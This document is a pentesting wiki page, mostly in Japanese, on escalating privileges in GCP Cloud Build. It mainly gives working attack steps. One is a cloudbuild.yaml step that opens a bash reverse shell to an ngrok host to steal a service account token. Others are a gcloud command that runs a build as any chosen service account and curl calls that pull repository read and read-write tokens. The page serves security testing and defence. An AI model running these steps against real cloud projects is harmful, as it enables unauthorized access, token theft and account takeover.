# GCP - Cloudbuild Privesc

{{#include ../../../banners/hacktricks-training.md}}

## cloudbuild

Cloud Buildの詳細については次を参照してください:

{{#ref}}
../gcp-services/gcp-cloud-build-enum.md
{{#endref}}

### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs`

この権限があれば、**submit a cloud build** できます。cloudbuild マシンのファイルシステムには、**デフォルトで cloudbuild Service Account の token**: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com` が存在します。しかし、cloudbuild の設定内でプロジェクト内の任意の **service account を指定**できます。\
したがって、マシンにトークンをあなたのサーバーへ exfiltrate させるか、あるいは**その内部で reverse shell を取得して自分で token を入手する**ことができます（トークンを含むファイルは変更される可能性があります）。

#### Direct exploitation via gcloud CLI

1- `cloudbuild.yaml` を作成し、listener の情報で修正する

<details><summary>Cloud Build YAML configuration for reverse shell</summary>
```yaml
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
options:
logging: CLOUD_LOGGING_ONLY
```
</details>

2- ソースなしの簡単な build をアップロードし、yaml ファイルを指定して、ビルドで使用する SA を指定する:

<details><summary>指定した service account を使って Cloud Build を送信する</summary>
```bash
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
```
</details>

#### python gcloud ライブラリの使用
オリジナルの exploit script は [**here on GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) で見つけられます (ただしトークンを取得している場所は私の環境では動作しませんでした)。そのため、vuln 環境の [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) を自動化するスクリプトと、cloudbuild マシン内で reverse shell を取得して [**steal it here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) する python スクリプトを確認してください (コード内で他の service accounts を指定する方法が見られます)**.**

詳細な説明については [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/) を参照してください


### `cloudbuild.repositories.accessReadToken`

この権限があれば、ユーザーはリポジトリにアクセスするために使用される **read access token** を取得できます：

<details><summary>リポジトリの read access token を取得する</summary>
```bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"
```
</details>

### `cloudbuild.repositories.accessReadWriteToken`

この権限があると、ユーザーはリポジトリへアクセスするために使用される**読み書き用のアクセストークン**を取得できます:

<details><summary>リポジトリの読み書き用アクセストークンを取得する</summary>
```bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"
```
</details>

### `cloudbuild.connections.fetchLinkableRepositories`

この権限があれば **接続がアクセスできるリポジトリを取得できます:**

<details><summary>リンク可能なリポジトリを取得</summary>
```bash
curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
```
</details>

{{#include ../../../banners/hacktricks-training.md}}
